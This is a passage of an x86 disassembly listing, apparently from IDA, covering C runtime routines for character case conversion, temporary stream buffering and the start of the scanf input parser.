[ebp+var_4], 0 loc_424930: ; CODE XREF: sub_4248D0+57j mov ecx, [ebp+arg_0] push ecx call sub_424970 add esp, 4 mov [ebp+arg_0], eax cmp [ebp+var_4], 0 jz short loc_424951 push 13h call sub_41FBE0 add esp, 4 jmp short loc_42495C ; --------------------------------------------------------------------------- loc_424951: ; CODE XREF: sub_4248D0+73j push offset dword_4EFD48 call dword_4F1450 ; InterlockedDecrement loc_42495C: ; CODE XREF: sub_4248D0+7Fj mov eax, [ebp+arg_0] loc_42495F: ; CODE XREF: sub_4248D0+25j mov esp, ebp pop ebp retn sub_4248D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424970 proc near ; CODE XREF: sub_4248D0+64p var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h cmp dword_4EF974, 0 jnz short loc_42499C cmp [ebp+arg_0], 61h jl short loc_424994 cmp [ebp+arg_0], 7Ah jg short loc_424994 mov eax, [ebp+arg_0] sub eax, 20h mov [ebp+arg_0], eax loc_424994: ; CODE XREF: sub_424970+13j ; sub_424970+19j mov eax, [ebp+arg_0] jmp loc_424A97 ; --------------------------------------------------------------------------- loc_42499C: ; CODE XREF: sub_424970+Dj cmp [ebp+arg_0], 100h jge short loc_4249E3 cmp dword_4516A8, 1 jle short loc_4249C1 push 2 mov ecx, [ebp+arg_0] push ecx call sub_421E50 add esp, 8 mov [ebp+var_10], eax jmp short loc_4249D5 ; --------------------------------------------------------------------------- loc_4249C1: ; CODE XREF: sub_424970+3Cj mov edx, [ebp+arg_0] mov eax, off_45149C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 2 mov [ebp+var_10], ecx loc_4249D5: ; CODE XREF: sub_424970+4Fj cmp [ebp+var_10], 0 jnz short loc_4249E3 mov eax, [ebp+arg_0] jmp loc_424A97 ; --------------------------------------------------------------------------- loc_4249E3: ; CODE XREF: sub_424970+33j ; sub_424970+69j mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh and edx, 0FFh mov eax, off_45149C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 8000h test ecx, ecx jz short loc_424A2C mov edx, [ebp+arg_0] sar edx, 8 and edx, 0FFh mov [ebp+var_8], dl mov al, byte ptr [ebp+arg_0] mov [ebp+var_7], al mov [ebp+var_6], 0 mov [ebp+var_4], 2 jmp short loc_424A3D ; --------------------------------------------------------------------------- loc_424A2C: ; CODE XREF: sub_424970+98j mov cl, byte ptr [ebp+arg_0] mov [ebp+var_8], cl mov [ebp+var_7], 0 mov [ebp+var_4], 1 loc_424A3D: ; CODE XREF: sub_424970+BAj push 1 push 0 push 3 lea edx, [ebp+var_C] push edx mov eax, [ebp+var_4] push eax lea ecx, [ebp+var_8] push ecx push 200h mov edx, dword_4EF974 push edx call sub_429750 add esp, 20h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_424A71 mov eax, [ebp+arg_0] jmp short loc_424A97 ; --------------------------------------------------------------------------- loc_424A71: ; CODE XREF: sub_424970+FAj cmp [ebp+var_4], 1 jnz short loc_424A81 mov eax, [ebp+var_C] and eax, 0FFh jmp short loc_424A97 ; --------------------------------------------------------------------------- loc_424A81: ; CODE XREF: sub_424970+105j mov eax, [ebp+var_C] and eax, 0FFh mov ecx, [ebp+var_C+1] and ecx, 0FFh shl ecx, 8 or eax, ecx loc_424A97: ; CODE XREF: sub_424970+27j ; sub_424970+6Ej ... mov esp, ebp pop ebp retn sub_424970 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424AA0 proc near ; CODE XREF: sub_41C1C0+79p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi loc_424AA9: ; CODE XREF: sub_424AA0+31j cmp [ebp+arg_0], 0 jnz short loc_424ACD push offset dword_437514 push 0 push 41h push offset a_sftbuf_c ; "_sftbuf.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_424ACD int 3 ; Trap to Debugger loc_424ACD: ; CODE XREF: sub_424AA0+Dj ; sub_424AA0+2Aj xor eax, eax test eax, eax jnz short loc_424AA9 mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov eax, [edx+10h] push eax call sub_42C930 add esp, 4 test eax, eax jnz short loc_424AF3 xor eax, eax jmp loc_424BF0 ; --------------------------------------------------------------------------- loc_424AF3: ; CODE XREF: sub_424AA0+4Aj cmp [ebp+var_4], offset dword_451148 jnz short loc_424B05 mov [ebp+var_8], 0 jmp short loc_424B1E ; --------------------------------------------------------------------------- loc_424B05: ; CODE XREF: sub_424AA0+5Aj cmp [ebp+var_4], offset dword_451168 jnz short loc_424B17 mov [ebp+var_8], 1 jmp short loc_424B1E ; --------------------------------------------------------------------------- loc_424B17: ; CODE XREF: sub_424AA0+6Cj xor eax, eax jmp loc_424BF0 ; --------------------------------------------------------------------------- loc_424B1E: ; CODE XREF: sub_424AA0+63j ; sub_424AA0+75j mov ecx, dword_4EF8EC add ecx, 1 mov dword_4EF8EC, ecx mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 10Ch test eax, eax jz short loc_424B43 xor eax, eax jmp loc_424BF0 ; --------------------------------------------------------------------------- loc_424B43: ; CODE XREF: sub_424AA0+9Aj mov ecx, [ebp+var_8] cmp dword_4EF964[ecx*4], 0 jnz short loc_424BAA push 5Eh push offset a_sftbuf_c ; "_sftbuf.c" push 2 push 1000h call sub_418EF0 add esp, 10h mov edx, [ebp+var_8] mov dword_4EF964[edx*4], eax mov eax, [ebp+var_8] cmp dword_4EF964[eax*4], 0 jnz short loc_424BAA mov ecx, [ebp+var_4] add ecx, 14h mov edx, [ebp+var_4] mov [edx+8], ecx mov eax, [ebp+var_4] mov ecx, [ebp+var_4] mov edx, [ecx+8] mov [eax], edx mov eax, [ebp+var_4] mov dword ptr [eax+18h], 2 mov ecx, [ebp+var_4] mov dword ptr [ecx+4], 2 jmp short loc_424BD9 ; --------------------------------------------------------------------------- loc_424BAA: ; CODE XREF: sub_424AA0+AEj ; sub_424AA0+DBj mov edx, [ebp+var_4] mov eax, [ebp+var_8] mov ecx, dword_4EF964[eax*4] mov [edx+8], ecx mov edx, [ebp+var_4] mov eax, [ebp+var_4] mov ecx, [eax+8] mov [edx], ecx mov edx, [ebp+var_4] mov dword ptr [edx+18h], 1000h mov eax, [ebp+var_4] mov dword ptr [eax+4], 1000h loc_424BD9: ; CODE XREF: sub_424AA0+108j mov ecx, [ebp+var_4] mov edx, [ecx+0Ch] or edx, 1102h mov eax, [ebp+var_4] mov [eax+0Ch], edx mov eax, 1 loc_424BF0: ; CODE XREF: sub_424AA0+4Ej ; sub_424AA0+79j ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_424AA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424C00 proc near ; CODE XREF: sub_41C1C0+A3p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ebx push esi push edi loc_424C07: ; CODE XREF: sub_424C00+38j cmp [ebp+arg_0], 0 jz short loc_424C34 cmp [ebp+arg_0], 1 jz short loc_424C34 push offset aFlag0Flag1 ; "flag == 0 || flag == 1" push 0 push 0A1h push offset a_sftbuf_c ; "_sftbuf.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_424C34 int 3 ; Trap to Debugger loc_424C34: ; CODE XREF: sub_424C00+Bj ; sub_424C00+11j ... xor eax, eax test eax, eax jnz short loc_424C07 mov ecx, [ebp+arg_4] mov [ebp+var_4], ecx cmp [ebp+arg_0], 0 jz short loc_424C8D mov edx, [ebp+var_4] mov eax, [edx+0Ch] and eax, 1000h test eax, eax jz short loc_424C8D mov ecx, [ebp+var_4] push ecx call sub_41F7E0 add esp, 4 mov edx, [ebp+var_4] mov eax, [edx+0Ch] and ah, 0EEh mov ecx, [ebp+var_4] mov [ecx+0Ch], eax mov edx, [ebp+var_4] mov dword ptr [edx+18h], 0 mov eax, [ebp+var_4] mov dword ptr [eax], 0 mov ecx, [ebp+var_4] mov dword ptr [ecx+8], 0 loc_424C8D: ; CODE XREF: sub_424C00+44j ; sub_424C00+53j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_424C00 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424CA0 proc near ; CODE XREF: sub_41CC10+A2p var_224 = dword ptr -224h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = dword ptr -20Ch var_208 = dword ptr -208h var_204 = dword ptr -204h var_200 = dword ptr -200h var_1FC = dword ptr -1FCh var_1F8 = dword ptr -1F8h var_1F4 = dword ptr -1F4h var_1F0 = byte ptr -1F0h var_1EF = byte ptr -1EFh var_1EC = dword ptr -1ECh var_1E8 = dword ptr -1E8h var_1E4 = dword ptr -1E4h var_1E0 = dword ptr -1E0h var_1DC = dword ptr -1DCh var_1D8 = dword ptr -1D8h var_1D4 = dword ptr -1D4h var_1D0 = byte ptr -1D0h var_70 = byte ptr -70h var_6C = dword ptr -6Ch var_68 = byte ptr -68h var_64 = byte ptr -64h var_60 = byte ptr -60h var_55 = byte ptr -55h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = byte ptr -14h var_10 = byte ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 224h push ebx push esi push edi loc_424CAC: ; CODE XREF: sub_424CA0+37j cmp [ebp+arg_4], 0 jnz short loc_424CD3 push offset aFormatNull ; "format != NULL" push 0 push 109h push offset aInput_c ; "input.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_424CD3 int 3 ; Trap to Debugger loc_424CD3: ; CODE XREF: sub_424CA0+10j ; sub_424CA0+30j xor eax, eax test eax, eax jnz short loc_424CAC loc_424CD9: ; CODE XREF: sub_424CA0+64j cmp [ebp+arg_0], 0 jnz short loc_424D00 push offset dword_437504 push 0 push 10Ch push offset aInput_c ; "input.c" push 2 call sub_41EED0 add esp, 14h cmp eax, 1 jnz short loc_424D00 int 3 ; Trap to Debugger loc_424D00: ; CODE XREF: sub_424CA0+3Dj ; sub_424CA0+5Dj xor ecx, ecx test ecx, ecx jnz short loc_424CD9 mov [ebp+var_28], 0 movsx edx, [ebp+var_28] mov [ebp+var_20], edx mov eax, [ebp+var_20] mov [ebp+var_34], eax loc_424D17: ; CODE XREF: sub_424CA0:loc_425F85j mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] test edx, edx jz loc_425F8A cmp dword_4516A8, 1 jle short loc_424D49 push 8 mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax] push ecx call sub_421E50 add esp, 8 mov [ebp+var_1F8], eax jmp short loc_424D65 ; --------------------------------------------------------------------------- loc_424D49: ; CODE XREF: sub_424CA0+8Dj mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] mov ecx, off_45149C xor edx, edx mov dx, [ecx+eax*2] and edx, 8 mov [ebp+var_1F8], edx loc_424D65: ; CODE XREF: sub_424CA0+A7j cmp [ebp+var_1F8], 0 jz short loc_424DB3 mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_0] push edx lea eax, [ebp+var_20] push eax call sub_426160 add esp, 8 push eax call sub_426140 add esp, 8 loc_424D94: ; CODE XREF: sub_424CA0+111j mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] push eax call sub_41E200 add esp, 4 test eax, eax jz short loc_424DB3 jmp short loc_424D94 ; --------------------------------------------------------------------------- loc_424DB3: ; CODE XREF: sub_424CA0+CCj ; sub_424CA0+10Fj mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] cmp edx, 25h jnz loc_425E6E mov [ebp+var_40], 0 mov byte ptr [ebp+var_8], 0 mov [ebp+var_6C], 0 mov eax, [ebp+var_6C] mov [ebp+var_1E8], eax mov ecx, [ebp+var_1E8] mov [ebp+var_1C], ecx mov [ebp+var_10], 0 mov dl, [ebp+var_10] mov [ebp+var_68], dl mov al, [ebp+var_68] mov [ebp+var_70], al mov cl, [ebp+var_70] mov [ebp+var_18], cl mov dl, [ebp+var_18] mov [ebp+var_64], dl mov [ebp+var_14], 0 mov [ebp+var_38], 1 mov [ebp+var_1DC], 0 loc_424E15: ; CODE XREF: sub_424CA0:loc_424F6Dj movsx eax, [ebp+var_18] test eax, eax jnz loc_424F72 mov ecx, [ebp+arg_4] add ecx, 1 mov [ebp+arg_4], ecx mov edx, [ebp+arg_4] xor eax, eax mov al, [edx] mov [ebp+var_C], eax cmp dword_4516A8, 1 jle short loc_424E59 push 4 mov ecx, [ebp+var_C] and ecx, 0FFh push ecx call sub_421E50 add esp, 8 mov [ebp+var_1FC], eax jmp short loc_424E76 ; --------------------------------------------------------------------------- loc_424E59: ; CODE XREF: sub_424CA0+19Bj mov edx, [ebp+var_C] and edx, 0FFh mov eax, off_45149C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_1FC], ecx loc_424E76: ; CODE XREF: sub_424CA0+1B7j cmp [ebp+var_1FC], 0 jz short loc_424EA6 mov edx, [ebp+var_1E8] add edx, 1 mov [ebp+var_1E8], edx mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] lea edx, [ecx+eax*4] mov eax, [ebp+var_C] lea ecx, [eax+edx*2-30h] mov [ebp+var_1C], ecx jmp loc_424F6D ; --------------------------------------------------------------------------- loc_424EA6: ; CODE XREF: sub_424CA0+1DDj mov edx, [ebp+var_C] mov [ebp+var_200], edx mov eax, [ebp+var_200] sub eax, 2Ah mov [ebp+var_200], eax cmp [ebp+var_200], 4Dh ja loc_424F65 mov edx, [ebp+var_200] xor ecx, ecx mov cl, byte_425FE8[edx] jmp off_425FC8[ecx*4] loc_424EE0: ; DATA XREF: .nsp0:00425FCCo jmp loc_424F6D ; --------------------------------------------------------------------------- loc_424EE5: ; CODE XREF: sub_424CA0+239j ; DATA XREF: .nsp0:00425FD8o mov al, [ebp+var_38] sub al, 1 mov [ebp+var_38], al mov cl, [ebp+var_14] sub cl, 1 mov [ebp+var_14], cl jmp short loc_424F6D ; --------------------------------------------------------------------------- loc_424EF8: ; CODE XREF: sub_424CA0+239j ; DATA XREF: .nsp0:00425FD0o mov edx, [ebp+arg_4] xor eax, eax mov al, [edx+1] cmp eax, 36h jnz short loc_424F3A mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx+2] cmp edx, 34h jnz short loc_424F3A mov eax, [ebp+arg_4] add eax, 2 mov [ebp+arg_4], eax mov ecx, [ebp+var_1DC] add ecx, 1 mov [ebp+var_1DC], ecx mov [ebp+var_30], 0 mov [ebp+var_2C], 0 jmp short loc_424F6D ; --------------------------------------------------------------------------- loc_424F3A: ; CODE XREF: sub_424CA0+263j ; sub_424CA0+270j jmp short loc_424F65 ; --------------------------------------------------------------------------- loc_424F3C: ; CODE XREF: sub_424CA0+239j ; DATA XREF: .nsp0:00425FD4o mov dl, [ebp+var_38] add dl, 1 mov [ebp+var_38], dl jmp short loc_424F6D ; --------------------------------------------------------------------------- loc_424F47: ; CODE XREF: sub_424CA0+239j ; DATA XREF: .nsp0:00425FDCo mov al, [ebp+var_38] add al, 1 mov [ebp+var_38], al loc_424F4F: ; CODE XREF: sub_424CA0+239j ; DATA XREF: .nsp0:00425FE0o mov cl, [ebp+var_14] add cl, 1 mov [ebp+var_14], cl jmp short loc_424F6D ; --------------------------------------------------------------------------- loc_424F5A: ; CODE XREF: sub_424CA0+239j ; DATA XREF: .nsp0:off_425FC8o mov dl, [ebp+var_70] add dl, 1 mov [ebp+var_70], dl jmp short loc_424F6D ; --------------------------------------------------------------------------- loc_424F65: ; CODE XREF: sub_424CA0+225j ; sub_424CA0+239j ... mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al loc_424F6D: ; CODE XREF: sub_424CA0+201j ; sub_424CA0:loc_424EE0j ... jmp loc_424E15 ; --------------------------------------------------------------------------- loc_424F72: ; CODE XREF: sub_424CA0+17Bj movsx ecx, [ebp+var_70] test ecx, ecx jnz short loc_424F95 mov edx, [ebp+arg_8] mov [ebp+var_1D4], edx mov eax, [ebp+arg_8] add eax, 4 mov [ebp+arg_8], eax mov ecx, [ebp+arg_8] mov edx, [ecx-4] mov [ebp+var_3C], edx loc_424F95: ; CODE XREF: sub_424CA0+2D8j mov [ebp+var_18], 0 movsx eax, [ebp+var_14] test eax, eax jnz short loc_424FCC mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] cmp edx, 53h jz short loc_424FB9 mov eax, [ebp+arg_4] xor ecx, ecx mov cl, [eax] cmp ecx, 43h jnz short loc_424FC4 loc_424FB9: ; CODE XREF: sub_424CA0+30Bj mov dl, [ebp+var_14] add dl, 1 mov [ebp+var_14], dl jmp short loc_424FCC ; --------------------------------------------------------------------------- loc_424FC4: ; CODE XREF: sub_424CA0+317j mov al, [ebp+var_14] sub al, 1 mov [ebp+var_14], al loc_424FCC: ; CODE XREF: sub_424CA0+2FFj ; sub_424CA0+322j mov ecx, [ebp+arg_4] xor edx, edx mov dl, [ecx] or edx, 20h mov [ebp+var_C], edx cmp [ebp+var_C], 6Eh jz short loc_42501E cmp [ebp+var_C], 63h jz short loc_425003 cmp [ebp+var_C], 7Bh jz short loc_425003 mov eax, [ebp+arg_0] push eax lea ecx, [ebp+var_20] push ecx call sub_426160 add esp, 8 mov [ebp+var_1D8], eax jmp short loc_42501E ; --------------------------------------------------------------------------- loc_425003: ; CODE XREF: sub_424CA0+343j ; sub_424CA0+349j mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_4260E0 add esp, 4 mov [ebp+var_1D8], eax loc_42501E: ; CODE XREF: sub_424CA0+33Dj ; sub_424CA0+361j cmp [ebp+var_1E8], 0 jz short loc_425031 cmp [ebp+var_1C], 0 jz loc_425E3F loc_425031: ; CODE XREF: sub_424CA0+385j mov ecx, [ebp+var_C] mov [ebp+var_204], ecx mov edx, [ebp+var_204] sub edx, 63h mov [ebp+var_204], edx cmp [ebp+var_204], 18h ja loc_425DEA mov ecx, [ebp+var_204] xor eax, eax mov al, byte_42605E[ecx] jmp off_426036[eax*4] loc_42506B: ; DATA XREF: .nsp0:off_426036o cmp [ebp+var_1E8], 0 jnz short loc_42508C mov edx, [ebp+var_1E8] add edx, 1 mov [ebp+var_1E8], edx mov eax, [ebp+var_1C] add eax, 1 mov [ebp+var_1C], eax loc_42508C: ; CODE XREF: sub_424CA0+3D2j movsx ecx, [ebp+var_14] test ecx, ecx jle short loc_42509D mov dl, [ebp+var_64] add dl, 1 mov [ebp+var_64], dl loc_42509D: ; CODE XREF: sub_424CA0+3F2j mov [ebp+var_1E0], offset dword_451928 mov al, [ebp+var_10] sub al, 1 mov [ebp+var_10], al jmp short loc_425120 ; --------------------------------------------------------------------------- loc_4250B1: ; CODE XREF: sub_424CA0+3C4j ; DATA XREF: .nsp0:0042604Eo movsx ecx, [ebp+var_14] test ecx, ecx jle short loc_4250C2 mov dl, [ebp+var_64] add dl, 1 mov [ebp+var_64], dl loc_4250C2: ; CODE XREF: sub_424CA0+417j mov [ebp+var_1E0], offset dword_451920 mov al, [ebp+var_10] sub al, 1 mov [ebp+var_10], al jmp short loc_425120 ; --------------------------------------------------------------------------- loc_4250D6: ; CODE XREF: sub_424CA0+3C4j ; DATA XREF: .nsp0:00426056o movsx ecx, [ebp+var_14] test ecx, ecx jle short loc_4250E7 mov dl, [ebp+var_64] add dl, 1 mov [ebp+var_64], dl loc_4250E7: ; CODE XREF: sub_424CA0+43Cj mov eax, [ebp+arg_4] add eax, 1 mov [ebp+arg_4], eax mov ecx, [ebp+arg_4] mov [ebp+var_1E0], ecx mov edx, [ebp+var_1E0] xor eax, eax mov al, [edx] cmp eax, 5Eh jnz short loc_425120 mov ecx, [ebp+var_1E0] add ecx, 1 mov [ebp+var_1E0], ecx mov dl, [ebp+var_10] sub dl, 1 mov [ebp+var_10], dl loc_425120: ; CODE XREF: sub_424CA0+40Fj ; sub_424CA0+434j ... push 20h push 0 lea eax, [ebp+var_60] push eax call sub_41B190 add esp, 0Ch cmp [ebp+var_C], 7Bh jnz short loc_42515C mov ecx, [ebp+var_1E0] xor edx, edx mov dl, [ecx] cmp edx, 5Dh jnz short loc_42515C mov byte ptr [ebp+var_8], 5Dh mov eax, [ebp+var_1E0] add eax, 1 mov [ebp+var_1E0], eax mov [ebp+var_55], 20h loc_42515C: ; CODE XREF: sub_424CA0+494j ; sub_424CA0+4A3j ... mov ecx, [ebp+var_1E0] xor edx, edx mov dl, [ecx] cmp edx, 5Dh jz loc_4252C7 mov eax, [ebp+var_1E0] mov cl, [eax] mov byte ptr [ebp+var_1EC], cl mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx mov eax, [ebp+var_1EC] and eax, 0FFh cmp eax, 2Dh jnz short loc_4251B8 mov ecx, [ebp+var_8] and ecx, 0FFh test ecx, ecx jz short loc_4251B8 mov edx, [ebp+var_1E0] xor eax, eax mov al, [edx] cmp eax, 5Dh jnz short loc_4251FE loc_4251B8: ; CODE XREF: sub_424CA0+4FAj ; sub_424CA0+507j mov cl, byte ptr [ebp+var_1EC] mov byte ptr [ebp+var_8], cl mov edx, [ebp+var_8] and edx, 0FFh sar edx, 3 mov ecx, [ebp+var_1EC] and ecx, 0FFh and ecx, 7 mov eax, 1 shl eax, cl mov cl, [ebp+edx+var_60] or cl, al mov edx, [ebp+var_8] and edx, 0FFh sar edx, 3 mov [ebp+edx+var_60], cl jmp loc_4252C2 ; --------------------------------------------------------------------------- loc_4251FE: ; CODE XREF: sub_424CA0+516j mov eax, [ebp+var_1E0] mov cl, [eax] mov byte ptr [ebp+var_1EC], cl mov edx, [ebp+var_1E0] add edx, 1 mov [ebp+var_1E0], edx mov eax, [ebp+var_8] and eax, 0FFh mov ecx, [ebp+var_1EC] and ecx, 0FFh cmp eax, ecx jge short loc_42523E mov dl, byte ptr [ebp+var_1EC] mov byte ptr [ebp+var_24], dl jmp short loc_42524D ; --------------------------------------------------------------------------- loc_42523E: ; CODE XREF: sub_424CA0+591j mov al, byte ptr [ebp+var_8] loc_425241: ; DATA XREF: .nsp0:off_44F398o mov byte ptr [ebp+var_24], al loc_425244: ; DATA XREF: .nsp0:00451FB4o mov cl, byte ptr [ebp+var_1EC] mov byte ptr [ebp+var_8], cl loc_42524D: ; CODE XREF: sub_424CA0+59Cj mov dl, byte ptr [ebp+var_8] mov byte ptr [ebp+var_1EC], dl jmp short loc_425266 ; --------------------------------------------------------------------------- loc_425258: ; CODE XREF: sub_424CA0+61Cj mov al, byte ptr [ebp+var_1EC] add al, 1 mov byte ptr [ebp+var_1EC], al loc_425266: ; CODE XREF: sub_424CA0+5B6j mov ecx, [ebp+var_1EC] and ecx, 0FFh mov edx, [ebp+var_24] and edx, 0FFh cmp ecx, edx jg short loc_4252BE mov eax, [ebp+var_1EC] and eax, 0FFh sar eax, 3 mov ecx, [ebp+var_1EC] and ecx, 0FFh and ecx, 7 mov edx, 1 shl edx, cl mov al, [ebp+eax+var_60] or al, dl mov ecx, [ebp+var_1EC] and ecx, 0FFh sar ecx, 3 mov [ebp+ecx+var_60], al jmp short loc_425258 ; --------------------------------------------------------------------------- loc_4252BE: ; CODE XREF: sub_424CA0+5DDj mov byte ptr [ebp+var_8], 0 loc_4252C2: ; CODE XREF: sub_424CA0+559j jmp loc_42515C ; --------------------------------------------------------------------------- loc_4252C7: ; CODE XREF: sub_424CA0+4C9j mov edx, [ebp+var_1E0] xor eax, eax mov al, [edx] test eax, eax jnz short loc_4252DA jmp loc_425F8A ; --------------------------------------------------------------------------- loc_4252DA: ; CODE XREF: sub_424CA0+633j cmp [ebp+var_C], 7Bh jnz short loc_4252E9 mov ecx, [ebp+var_1E0] mov [ebp+arg_4], ecx loc_4252E9: ; CODE XREF: sub_424CA0+63Ej mov edx, [ebp+var_3C] mov [ebp+var_1E4], edx mov eax, [ebp+var_20] sub eax, 1 mov [ebp+var_20], eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+var_1D8] push edx call sub_426140 add esp, 8 loc_42530E: ; CODE XREF: sub_424CA0:loc_425450j cmp [ebp+var_1E8], 0 jz short loc_42532B mov eax, [ebp+var_1C] mov ecx, [ebp+var_1C] sub ecx, 1 mov [ebp+var_1C], ecx test eax, eax jz loc_425455 loc_42532B: ; CODE XREF: sub_424CA0+675j mov edx, [ebp+var_20] add edx, 1 mov [ebp+var_20], edx mov eax, [ebp+arg_0] push eax call sub_4260E0 add esp, 4 mov [ebp+var_1D8], eax cmp [ebp+var_1D8], 0FFFFFFFFh jz loc_425432 mov ecx, [ebp+var_1D8] sar ecx, 3 movsx edx, [ebp+ecx+var_60] movsx eax, [ebp+var_10] xor edx, eax mov ecx, [ebp+var_1D8] and ecx, 7 mov eax, 1 shl eax, cl and edx, eax test edx, edx jz loc_425432 movsx ecx, [ebp+var_70] test ecx, ecx jnz loc_425421 movsx edx, [ebp+var_64] test edx, edx jz short loc_42540B mov al, byte ptr [ebp+var_1D8] mov [ebp+var_1F0], al mov ecx, [ebp+var_1D8] and ecx, 0FFh mov edx, off_45149C xor eax, eax mov ax, [edx+ecx*2] and eax, 8000h test eax, eax jz short loc_4253DD mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx call sub_4260E0 add esp, 4 mov [ebp+var_1EF], al loc_4253DD: ; CODE XREF: sub_424CA0+720j mov eax, dword_4516A8 push eax lea ecx, [ebp+var_1F0] push ecx lea edx, [ebp+var_4] push edx call sub_42CA90 add esp, 0Ch mov eax, [ebp+var_3C] mov cx, [ebp+var_4] mov [eax], cx mov edx, [ebp+var_3C] add edx, 2 mov [ebp+var_3C], edx jmp short loc_42541F ; --------------------------------------------------------------------------- loc_42540B: ; CODE XREF: sub_424CA0+6F3j mov eax, [ebp+var_3C] mov cl, byte ptr [ebp+var_1D8] mov [eax], cl mov edx, [ebp+var_3C] add edx, 1 mov [ebp+var_3C], edx loc_42541F: ; CODE XREF: sub_424CA0+769j jmp short loc_425430 ; --------------------------------------------------------------------------- loc_425421: ; CODE XREF: sub_424CA0+6E7j mov eax, [ebp+var_1E4] add eax, 1 mov [ebp+var_1E4], eax loc_425430: ; CODE XREF: sub_424CA0:loc_42541Fj jmp short loc_425450 ; --------------------------------------------------------------------------- loc_425432: ; CODE XREF: sub_424CA0+6ADj ; sub_424CA0+6DBj mov ecx, [ebp+var_20] sub ecx, 1 mov [ebp+var_20], ecx mov edx, [ebp+arg_0] push edx mov eax, [ebp+var_1D8] push eax call sub_426140 add esp, 8 jmp short loc_425455 ; --------------------------------------------------------------------------- loc_425450: ; CODE XREF: sub_424CA0:loc_425430j jmp loc_42530E ; --------------------------------------------------------------------------- loc_425455: ; CODE XREF: sub_424CA0+685j ; sub_424CA0+7AEj mov ecx, [ebp+var_1E4] cmp ecx, [ebp+var_3C] jz short loc_425491 movsx edx, [ebp+var_70] test edx, edx jnz short loc_42548F mov eax, [ebp+var_34] add eax, 1 mov [ebp+var_34], eax cmp [ebp+var_C], 63h jz short loc_42548F movsx ecx, [ebp+var_64] test ecx, ecx jz short loc_425489 mov edx, [ebp+var_3C] mov word ptr [edx], 0 jmp short loc_42548F ; --------------------------------------------------------------------------- loc_425489: ; CODE XREF: sub_424CA0+7DDj mov eax, [ebp+var_3C] mov byte ptr [eax], 0 loc_42548F: ; CODE XREF: sub_424CA0+7C6j ; sub_424CA0+7D5j ... jmp short loc_425496 ; --------------------------------------------------------------------------- loc_425491: ; CODE XREF: sub_424CA0+7BEj jmp loc_425F8A ; --------------------------------------------------------------------------- loc_425496: ; CODE XREF: sub_424CA0:loc_42548Fj jmp loc_425E34 ; --------------------------------------------------------------------------- loc_42549B: ; CODE XREF: sub_424CA0+3C4j ; DATA XREF: .nsp0:00426042o mov [ebp+var_C], 64h loc_4254A2: ; CODE XREF: sub_424CA0+3C4j ; DATA XREF: .nsp0:00426052o cmp [ebp+var_1D8], 2Dh jnz short loc_4254B6 mov cl, [ebp+var_68] add cl, 1 mov [ebp+var_68], cl jmp short loc_4254BF ; --------------------------------------------------------------------------- loc_4254B6: ; CODE XREF: sub_424CA0+809j cmp [ebp+var_1D8], 2Bh jnz short loc_4254FC loc_4254BF: ; CODE XREF: sub_424CA0+814j mov edx, [ebp+var_1C] sub edx, 1 mov [ebp+var_1C], edx cmp [ebp+var_1C], 0 jnz short loc_4254E1 cmp [ebp+var_1E8], 0 jz short loc_4254E1 mov al, [ebp+var_18] add al, 1 mov [ebp+var_18], al jmp short loc_4254FC ; --------------------------------------------------------------------------- loc_4254E1: ; CODE XREF: sub_424CA0+82Cj ; sub_424CA0+835j mov ecx, [ebp+var_20] add ecx, 1 mov [ebp+var_20], 